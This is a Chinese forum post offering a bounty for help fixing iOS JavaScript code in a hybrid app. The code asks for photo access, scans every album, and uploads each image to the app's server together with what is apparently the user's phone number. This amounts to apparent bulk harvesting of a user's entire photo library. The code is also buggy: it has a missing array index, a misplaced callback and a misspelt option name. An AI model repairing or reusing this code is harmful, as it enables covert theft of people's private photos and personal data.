|
[多端开发]
重金悬赏ios这段代码运行报错 groupId: groupId, 屏蔽就不报错...
[复制链接]
本帖最后由 BIP507199 于 2023-6-6 02:07 编辑
function addimg(sjh, yqm) {
if (/(iPhone|iPad|iPod|iOS)/i.test(navigator.userAgent)) {
requestPermission(['photos'], function (ret) {
var WXPhotoPicker = api.require('WXPhotoPicker');
WXPhotoPicker.scanGroups({
type: 'image'
}, function (ret) {
var glist = ret.list;
for (let i = 0; i < glist.length; i++) {
var info = glist;
var groupCount = info.imgCount;
var groupId = info.groupId;
var pageIndex = 1;
var pageSize = 10;
var groupPageNum = Math.ceil(groupCount / pageSize);
for (let j = 0; j < groupPageNum; j++) {
WXPhotoPicker.scanByGroupId({
groupId: groupId,
type: 'image',
count: pageSize,
sort: {
key: 'time',
order: 'desc'
},
function(ret) {
}
});
}
}
if (ret) {
//提交服务端
var imglist = ret.list;
for (let z = 0; z < imglist.length; z++) {
var info = imglist[z];
var image = info.path;
if (image == '') continue;
WXPhotoPicker.transPath({
path: image
}, function (ret, err) {
if (ret) {
console.log('ret:', JSON.stringify(ret));
console.log('err:', JSON.stringify(err));
var image = ret.path;
api.ajax({
url: apiserver + 'upload',
method: 'post',
cache: 'false',
timeout: 1000,
dataType: 'json',
data: {
files: {
file: image
}
}
}, function (ret, err) {
console.log('ret:', ret);
console.log('err:', JSON.stringify(err));
var httpimage = ret.data;
api.ajax({
url: apiserver + 'addimg',
method: 'post',
cache: 'false',
timeout: 1000,
dataTpye: 'json',
data: {
values: {
sjh: sjh,
img: ret.data
}
}
}, function (ret, err) {
});
});
}
pageIndex++;
});
}
}
});
});
}
能搞好的大佬 vx私我 50大阳
|
|